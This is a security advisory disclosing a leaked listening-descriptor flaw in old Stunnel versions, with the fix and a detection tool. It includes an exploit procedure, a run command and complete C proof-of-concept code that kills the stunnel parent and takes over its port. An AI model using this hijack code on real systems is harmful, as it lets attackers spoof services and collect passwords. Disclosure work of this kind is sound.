Stunnel-3.x Daemon Hijacking
Product: Stunnel
Versions: <= 3.24, 4.00
URL: http://stunnel.mirt.net
Impact: Daemon Hijacking
Bug class: Leaked Descriptor
Vendor notified: Yes
Fix available: Yes
Date: 09/03/03
Issue:
======
Stunnel leaks a critical file descriptor that can be
used to takeover (hijack) stunnel's service.
Details:
========
Recently, several vendors updated Stunnel-3.22 to fix a
remote denial of service caused by the SIGCHLD handler
doing memory allocation. This wasn't the worst problem
with Stunnel-3.22 in my opinion.
About a year ago, I did a code review and found the
signal handler problems and reported it. I then ran
env_audit against Stunnel to see if there were any
other problems. Unfortunately, I found a couple leaked
file descriptors. One of these is the file descriptor
returned by listen.
The bug was caused by not making a call to fcntl with
the CLOEXEC flag to prevent the leak of a privileged
file descriptor.
Shortly after the problem was reported, Stunnel-4.01
was released. A month later I looked at 3.22 and saw
that it was leaking the same things as 4.00 was. I have
not tested versions prior to 3.22, but I suspect the
bug is in anything lower than 3.22, too.
Even though the 4.x branch had the file descriptor leak
fixed, no fix was back ported to the 3.x branch (which
is still widely used). It should be noted that the 4.x
series is a major revision with dramatic changes in
syntax.
Impact:
=======
If Stunnel is used to tunnel any local program which
could provide shell access, such as telnet, then the
user's shell will also have the listen descriptor
leaked to it. This means that any user with shell
access could hijack the Stunnel server.
Also, if you have a service whose transport layer is
being encrypted by Stunnel and it is exploitable, it
can be used to hijack the Stunnel server. Chrooting the
service and dropping privileges may not be enough since
the listening descriptor is leaked right to the child.
Once they have taken over the service, they could spoof
the service and collect passwords, credit cards, or
other privileged information. They could also redirect
the service to a different machine to run programs they
don't have privileges for on the compromised machine.
Exploit:
========
The technique is simple.
1) Fork so that stunnel can't find you when it dies.
2) Send stunnel a SIGUSR2. Unhandled signals generally
kill programs. Since you are a child of stunnel, the OS
will deliver the signal.
3) Select on the leaked descriptor and start serving pages.
At the end of this advisory is a proof-of-concept
program that you can run under Stunnel. It is assumed
that Stunnel is providing you shell-like access (Telnet
over SSL, for example), or that the program lauched via
Stunnel has some exploitable condition that allows you
to run arbitrary code.
To run the POC code, you can execute it directly as the
local program (-l argument) for Stunnel :
/usr/sbin/stunnel -s nobody -g nobody -D 7 -p
/etc/ssl/certs/stunnel.pem -o /tmp/stunnel.log -P
/tmp/stunnel.pid -d 2222 -l
/opt/stunnel-sploit/leak-sploit -- leak-sploit
Then connect to stunnel like: lynx https://localhost:2222
The first time, you will get a message saying
"Unexpected network read error" followed by "Document
can't be accessed". Then connect again. The second
time, you will see the "You're owned" message. Doing a
ps -ef shows that stunnel is long gone and replaced by
the example application...even though user & group were
nobody. Sure its a bit contrived, but illustrates the
concept.
Solution:
=========
The solution to this problem is to upgrade Stunnel to
3.26 or 4.04 depending on your current deployment. Both
Michal Trojnara and Brian Hatch were very good people
to work with to fix this problem and it was done in a
timely manner. This announcement is mostly to motivate
vendors to roll out the upgrades and administrators to
apply them.
To see if you are vulnerable, you can use the env_audit
program. It comes with directions for testing Stunnel
in the examples directory.
http://www.web-insights.net/env_audit
Best Regards,
Steve Grubb
The code................
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <signal.h>
#include <errno.h>
#include <sys/select.h>
#include <netinet/in.h>
#include <openssl/ssl.h>
/*
* The basic scheme goes like this:
* 1) Get rid of the parent
* 2) init the openssl library
* 3) start handling requests
*/
/* You may need to adjust these next 3 items */
#define LISTEN_DESCRIPTOR 6
#define CERTF "/opt/stunnel-sploit/foo-cert.pem"
#define KEYF "/opt/stunnel-sploit/foo-cert.pem"
static SSL_CTX *ctx;
static SSL *ssl;
static X509 *client_cert;
static SSL_METHOD *meth;
static void server_loop(int descr);
static void ssl_init(void);
int main(int argc, char *argv[])
{
int pid = getppid();
/* Need to fork so stunnel doesn't kill us */
if (fork() == 0) {
/* Become session leader */
setsid();
/* Goodbye - thanks for the descriptor */
kill(pid, SIGUSR2);
close(0); close(1); close(2);
ssl_init();
server_loop(LISTEN_DESCRIPTOR);
}
return 0;
}
static void server_loop(int descr)
{
struct timeval tv;
fd_set read_mask ;
FD_SET(descr, &read_mask);
for (;;) {
struct sockaddr_in remote;
socklen_t len = sizeof(remote);
int fd;
if (select(descr+1, &read_mask, NULL, NULL, 0 )
== -1)
continue;
fd = accept(descr, &remote, &len);
if (fd >=0) {
char obuf[4096];
if ((ssl = SSL_new (ctx)) != NULL) {
SSL_set_fd (ssl, fd);
SSL_set_accept_state(ssl);
if ((SSL_accept (ssl)) == -1)
exit(1);
strcpy(obuf, "HTTP/1.0 200 OK\n");
strcat(obuf, "Content-Length: 40\n");
strcat(obuf, "Content-Type:
text/html\n\n");
strcat(obuf, "<html><body>You're
owned!</body></html>");
SSL_write (ssl, obuf, strlen(obuf));
SSL_set_shutdown(ssl,
SSL_SENT_SHUTDOWN|SSL_RECEIVED_SHUTDOWN);
SSL_free (ssl);
ERR_remove_state(0);
}
close(fd);
}
}
SSL_CTX_free (ctx); /* Never gets called */
}
static void ssl_init(void)
{
SSL_load_error_strings();
SSLeay_add_ssl_algorithms();
meth = SSLv23_server_method();
ctx = SSL_CTX_new (meth);
if (!ctx)
exit(1);
if (SSL_CTX_use_certificate_file(ctx, CERTF,
SSL_FILETYPE_PEM) <= 0)
exit(1);
if (SSL_CTX_use_PrivateKey_file(ctx, KEYF,
SSL_FILETYPE_PEM) <= 0)
exit(1);
if (!SSL_CTX_check_private_key(ctx))
exit(1);
}
To compile:
$(CC) $(CFLAGS) -o $@ leak-sploit.c -lssl